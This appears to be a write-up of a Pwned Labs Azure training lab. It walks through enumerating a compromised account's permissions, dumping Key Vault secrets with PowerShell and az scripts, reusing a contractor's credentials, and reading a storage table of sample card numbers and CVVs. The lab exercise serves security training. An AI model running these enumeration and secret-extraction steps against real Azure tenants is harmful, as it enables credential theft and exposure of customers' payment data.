Note : This article was inspired by content from Pwned Labs. Special thanks to Pwned Labs for providing insightful resources and awesome learning experience for learners.

Lab Link : https://pwnedlabs.io/labs/unlock-access-with-azure-key-vault

Overview

After successfully compromising the Azure user account [email protected] and gaining access to their cloud environment, Mega Big Tech have asked us to see how far we can penetrate into the cloud environment, and if we can access any confidential data. Specifically they need us to assess the security of resources associated with the Azure Subscription ID “ceff06cb-e29d-4486-a3ae-eaaec5689f94”.

Setting Up

Tools needed for this lab :

We need to enable tab completion in pwsh on Kali for faster command entry and navigation through available cmdlets and parameters.

  • Running “mousepad $profile” on the command line this should open up the powershell config file located at /home/sec-fortress/.config/powershell/Microsoft.PowerShell_profile.ps1
Register-ArgumentCompleter -Native -CommandName az -ScriptBlock {
    param($commandName, $wordToComplete, $cursorPosition)
    $completion_file = New-TemporaryFile
    $env:ARGCOMPLETE_USE_TEMPFILES = 1
    $env:_ARGCOMPLETE_STDOUT_FILENAME = $completion_file
    $env:COMP_LINE = $wordToComplete
    $env:COMP_POINT = $cursorPosition
    $env:_ARGCOMPLETE = 1
    $env:_ARGCOMPLETE_SUPPRESS_SPACE = 0
    $env:_ARGCOMPLETE_IFS = "`n"
    $env:_ARGCOMPLETE_SHELL = 'powershell'
    az 2>&1 | Out-Null
    Get-Content $completion_file | Sort-Object | ForEach-Object {
        [System.Management.Automation.CompletionResult]::new($_, $_, "ParameterValue", $_)
    }
    Remove-Item $completion_file, Env:\_ARGCOMPLETE_STDOUT_FILENAME, Env:\ARGCOMPLETE_USE_TEMPFILES, Env:\COMP_LINE, Env:\COMP_POINT, Env:\_ARGCOMPLETE, Env:\_ARGCOMPLETE_SUPPRESS_SPACE, Env:\_ARGCOMPLETE_IFS, Env:\_ARGCOMPLETE_SHELL
}

Set-PSReadlineKeyHandler -Key Tab -Function MenuComplete

WalkThrough

For this lab the following authentication details where provided :

IAM user : [email protected]
Password : [REDACTED]
Login Portal : https://portal.azure.com/

We can go ahead and login as the user marcus using the below command

az login
# Input Email and Password on the prompted browser

Then to confirm that that we are in the execution context of the user we logged in as run the following command

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> az account show

{
  "environmentName": "AzureCloud",
  "homeTenantId": "2590ccef-687d-493b-ae8d-xxxxxxxxxxxxxxxxxx",
  "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
  "isDefault": true,
  "managedByTenants": [],
  "name": "Microsoft Azure Sponsorship",
  "state": "Enabled",
  "tenantDefaultDomain": "megabigtech.com",
  "tenantDisplayName": "Default Directory",
  "tenantId": "2590ccef-687d-493b-ae8d-xxxxxxxxxxxxxxxxxx",
  "user": {
    "name": "[email protected]",
    "type": "user"
  }
}

The next command allows us to get a Microsoft Graph session as current user.

Install-Module Microsoft.Graph # Install module
Import-Module Microsoft.Graph.Users # Import module
Connect-MgGraph

Install-Module Az # Install module
Import-Module Az # Import module
Connect-AzAccount 

Note:

  1. The Connect-AzAccount command logs you into your Azure account, allowing you to manage and interact with your Azure resources via PowerShell.

  2. The Connect-MgGraph command logs you into Microsoft Graph, enabling you to interact with and manage Microsoft 365 services and data (like users, groups, and mail) via PowerShell.

We can then use the below command to show information about our current logged in user just as the whoami command in linux

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> az ad signed-in-user show

{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
  "businessPhones": [],
  "displayName": "Marcus Hutch",
  "givenName": "Marcus",
  "id": "41c178d3-c246-4c00-98f0-8113bd631676",
  "jobTitle": "Flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "mail": null,
  "mobilePhone": null,
  "officeLocation": null,
  "preferredLanguage": null,
  "surname": "Hutch",
  "userPrincipalName": "[email protected]"
}
  • it is possible to get the group membership of the user by running the following command.
PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Get-MgUserMemberOf -userid "[email protected]" | select * -ExpandProperty additionalProperties | Select-Object {$_.AdditionalProperties["displayName"]}

$_.AdditionalProperties["displayName"]
--------------------------------------
Directory Readers
Default Directory
All Company

As shown in the above output every member of the Directory Readers group is allowed to enumerate Entra ID. Since we have permission, It is also important to enumerate further permissions to see if this user can access other Azure resources :

# Given subscription ID
$CurrentSubscriptionID = "ceff06cb-e29d-4486-a3ae-eaaec5689f94"

# Set output format
$OutputFormat = "table"

# Set the given subscription as the active one
& az account set --subscription $CurrentSubscriptionID

# List resources in the current subscription
& az resource list -o $OutputFormat

The below output tells us that the Azure Key Vault named ext-contractors contains a Key Vault (Microsoft.KeyVault/vaults). This makes the resource group highly sensitive because Azure Key Vaults are typically used to store:

  • Secrets: Sensitive data such as passwords, API keys, tokens, or database connection strings.
  • Encryption Keys: Used to encrypt/decrypt data, such as files or databases.
  • Certificates: SSL/TLS certificates or other authentication-related certificates.

We can then go ahead and check what’s inside the key vault with the below script. Make sure to replace the $VaultName and $SubscriptionID on your own personal engagement.

# Set variables
$VaultName = "ext-contractors"

# Set the current Azure subscription
$SubscriptionID = "ceff06cb-e29d-4486-a3ae-eaaec5689f94"
az account set --subscription $SubscriptionID

# List and store the secrets
$secretsJson = az keyvault secret list --vault-name $VaultName -o json
$secrets = $secretsJson | ConvertFrom-Json

# List and store the keys
$keysJson = az keyvault key list --vault-name $VaultName -o json
$keys = $keysJson | ConvertFrom-Json

# Output the secrets
Write-Host "Secrets in vault $VaultName"
foreach ($secret in $secrets) {
    Write-Host $secret.id
}

# Output the keys
Write-Host "Keys in vault $VaultName"
foreach ($key in $keys) {
    Write-Host $key.id
}

The below output indicates that the ext-contractors vault contains secrets, and in addition to secrets, keys and certificates may also be stored in the same Key Vault. Azure Key Vault is designed to securely store secrets, encryption keys, and certificates, so it’s common to find all three types of data objects within a single vault.

Also take note that, Contractor and consultant accounts often have high privileges due to their temporary nature, making them prime targets for penetration testers and red teamers.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> ./keyvaultenum.ps1                                                    

Secrets in vault ext-contractors
https://ext-contractors.vault.azure.net/secrets/alissa-suarez
https://ext-contractors.vault.azure.net/secrets/josh-harvey
https://ext-contractors.vault.azure.net/secrets/ryan-garcia
Keys in vault ext-contractors

We then need to see what we have in each of this Key Vault entries, Also make sure to replace the $VaultName, $SecretNames and $SubscriptionID in an engagement to get valid output.

# Set variables
$VaultName = "ext-contractors"
$SecretNames = @("alissa-suarez", "josh-harvey", "ryan-garcia")

# Set the current Azure subscription
$SubscriptionID = "ceff06cb-e29d-4486-a3ae-eaaec5689f94"
az account set --subscription $SubscriptionID

# Retrieve and output the secret values
Write-Host "Secret Values from vault $VaultName"
foreach ($SecretName in $SecretNames) {
    $secretValueJson = az keyvault secret show --name $SecretName --vault-name $VaultName -o json
    $secretValue = ($secretValueJson | ConvertFrom-Json).value
    Write-Host "$SecretName - $secretValue"
}

As shown below the credentials for the three users where retrieved ;

It is also possible to enumerate all of this via the “Azure Portal” By clicking “All resources” on the portal or using the search bar with the specified search term.

Click on the ext-contractors resource

Under objects > Secrets, you should find all user objects

It’s good practice to verify if the retrieved users are still active, enabled, or even exist in Entra ID or that they have the same password set, as password reuse is a very common bad practice.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> az ad user list --query "[?givenName=='Alissa' || givenName=='Josh' || givenName=='Ryan'].{Name:displayName, UPN:userPrincipalName, JobTitle:jobTitle}" -o table
Name                      UPN                              JobTitle
------------------------  -------------------------------  ------------------------------------------
Josh Harvey (Consultant)  ext.josh.harvey@megabigtech.com  Consultant (Customer DB Migration Project)

The above result shows that the Josh Harvey contractor account is still available. We can go ahead and enumerate this account further.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Get-MgUser -UserId ext.josh.harvey@megabigtech.com

DisplayName              Id                                   Mail UserPrincipalName
-----------              --                                   ---- -----------------
Josh Harvey (Consultant) 6470f625-41ce-4233-a621-fad0aa0b7300      ext.josh.harvey@megabigtech.com

With the above Id value we can query for groups that this user belongs to :

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Get-MgUserMemberOf -userid $userid | select * -ExpandProperty additionalProperties | Select-Object {$_.AdditionalProperties["displayName"]}

$_.AdditionalProperties["displayName"]
--------------------------------------
CUSTOMER-DATABASE-ACCESS
Directory Readers
Default Directory

We see that the user Josh belongs to the CUSTOMER-DATABASE-ACCESS group as shown above, we can go ahead and query this group to see what we have :

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Get-MgGroup -Filter "displayName eq 'CUSTOMER-DATABASE-ACCESS'"

DisplayName              Id                                   MailNickname Description                                                                                GroupTypes
-----------              --                                   ------------ -----------                                                                                ----------
CUSTOMER-DATABASE-ACCESS 79b430a5-ea4d-4de6-855b-908bdfb052dc 6e69ec6a-6   Provides full read-only access to the Mega Big Tech customer list and customer information {}

From the above output, members of this group can access the Mega Big Tech customer list…, taking our enumeration further, Let’s see what permissions are assigned.

However I noticed that there are not so many permissions in the above output since we are still logged in as user marcus. So Log out of the current session using az logout and Disconnect-AzAccount, then log back in with az login and Connect-AzAccount to try accessing the Josh Harvey account with the Key Vault credentials we got earlier.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> Get-AzRoleAssignment -Scope "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94" | Select-Object DisplayName, RoleDefinitionName

DisplayName              RoleDefinitionName
-----------              ------------------
Ian Austin               Key Vault Administrator
Marcus Hutch             Key Vault Reader
Marcus Hutch             Key Vault Secrets User
Josh Harvey (Consultant) Reader
CUSTOMER-DATABASE-ACCESS Customer Database Access
IT-HELPDESK              Reader
Security User            Storage Blob Data Reader
Security User            Reader
Azure Security Insights  Microsoft Sentinel Automation Contributor
c7bf3d89f766471691ccdf29 Log Analytics Contributor
c7bf3d89f766471691ccdf29 Monitoring Contributor
c7bf3d89f766471691ccdf29 Monitoring Contributor
c7bf3d89f766471691ccdf29 Log Analytics Contributor
014b118fb59f4ef59faa8c63 Monitoring Contributor
014b118fb59f4ef59faa8c63 Log Analytics Contributor
014b118fb59f4ef59faa8c63 Monitoring Contributor
014b118fb59f4ef59faa8c63 Log Analytics Contributor
f2dde2b466f240afa614abbc Log Analytics Contributor
f2dde2b466f240afa614abbc Monitoring Contributor
b047e83f402747fd8797e1ff Monitoring Contributor
b047e83f402747fd8797e1ff Log Analytics Contributor
0f7ef2ab65244e72925a57e4 Monitoring Contributor
0f7ef2ab65244e72925a57e4 Monitoring Contributor
0f7ef2ab65244e72925a57e4 Log Analytics Contributor
0f7ef2ab65244e72925a57e4 Log Analytics Contributor
f41ed7dd9122452585bcc1ff Monitoring Contributor
f41ed7dd9122452585bcc1ff Log Analytics Contributor
1ae7323ccead497685d1c18a Log Analytics Contributor
1ae7323ccead497685d1c18a Monitoring Contributor
57d7395f82fe4a2593d003b4 Monitoring Contributor
57d7395f82fe4a2593d003b4 Log Analytics Contributor
57d7395f82fe4a2593d003b4 Log Analytics Contributor
57d7395f82fe4a2593d003b4 Monitoring Contributor
9f9dcd98a3a74c7a9b2abace Monitoring Contributor
9f9dcd98a3a74c7a9b2abace Log Analytics Contributor
Clara Miller             Reader
dbuser                   Reader

According to the above output the user Josh Harvey has been assigned the Reader role. The Reader role in Azure grants read-only access to resources but does not allow modification or access to sensitive data like Key Vault contents or databases.

We also see that CUSTOMER-DATABASE-ACCESS group has been assigned the Customer Database Access role so let enumerate that.

az role definition list --custom-role-only true --query "[?roleName=='Customer Database Access']" -o json

The above output shows that the group gives members the ability to list storage tables and their values! The Azure Storage Tables are a NoSQL data store for large, structured, non-relational data, part of Azure Storage services alongside Blob, File, and Queue Storage."

We then start by listing the storage accounts in the current Azure subscription in plain text format (TSV) with the below command.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> az storage account list --query "[].name" -o tsv

custdatabase
mbtwebsite
securityconfigs

Then we can Issue the following command below to see if any storage tables exist in any of this storage accounts

az storage table list --account-name <storage_account> --output table --auth-mode login

According to the above output only the custdatabase storage account has a storage table named customers , We can then go ahead and query this storage table leading to the disclosure of sensitive information such as payment data.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress/Az_lab> az storage entity query --table-name customers --account-name custdatabase --output table --auth-mode login
PartitionKey    RowKey    Card_expiry    Card_number       Customer_id                           Customer_name                           Cvv
--------------  --------  -------------  ----------------  ------------------------------------  --------------------------------------  -----
1               1         10/30          5425233430109903  07244ad0-c228-43d8-a48e-1846796aa6ad  SecureBank Holdings                     543
1               10        01/30          4347866885036101  cba21bec-7e8d-4394-a145-ea7f6131a998  InnoVenture                             781
1               2         09/29          4012000033330026  66d7a744-5eb6-4b1b-9e70-a36824366534  NeuraHealth                             452
1               3         05/31          4657490028942036  6a88c0ff-b79c-4842-92f1-f25d53c5cbe4  DreamScreen Entertainment               683
1               4         01/29          4657493919180161  14fb331d-a82e-41f8-8f20-d630f312dd3e  InfiNet Solutions                       855
1               5         08/29          4657490203402673  cdf53341-b806-4f69-a1e2-7b632b1d405d  Skyward Aerospace                       344
1               6         12/30          4594045518310163  c6e6418b-fc4e-4f7b-a463-1a3bc6551cd3  Quasar Analytics Inc                    145
1               7         02/29          4594055970518286  fc4f9042-5b94-4a79-b18a-40fa621fe2e1  DataGuard Inc                           243
1               8         06/30          4698558990398121  07a2cfae-16de-41a9-af51-b9cd9f077800  Huge Logistics                          546
1               9         03/30          4698559508013566  512df22d-815f-4f98-92af-a615a92ea39d  SmartMove Robotics                      992
1               99                                                                               Flag: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Have fun ⋆.˚ ᡣ𐭩 .𖥔˚

Key Takeaways

  • Azure Key Vault is a critical service for securely storing and managing sensitive information like secrets, keys, and certificates.

  • By centralizing secrets in the Key Vault, you reduce the risk of exposure and ensure tighter control over access. Role-based access control (RBAC) and Access Policies help limit access to only authorized users and services.

  • Regular auditing and rotating of secrets enhances security, minimizing potential breaches.

  • Implementing the Principle of Least Privilege ensures that only necessary permissions are granted, reducing attack surfaces.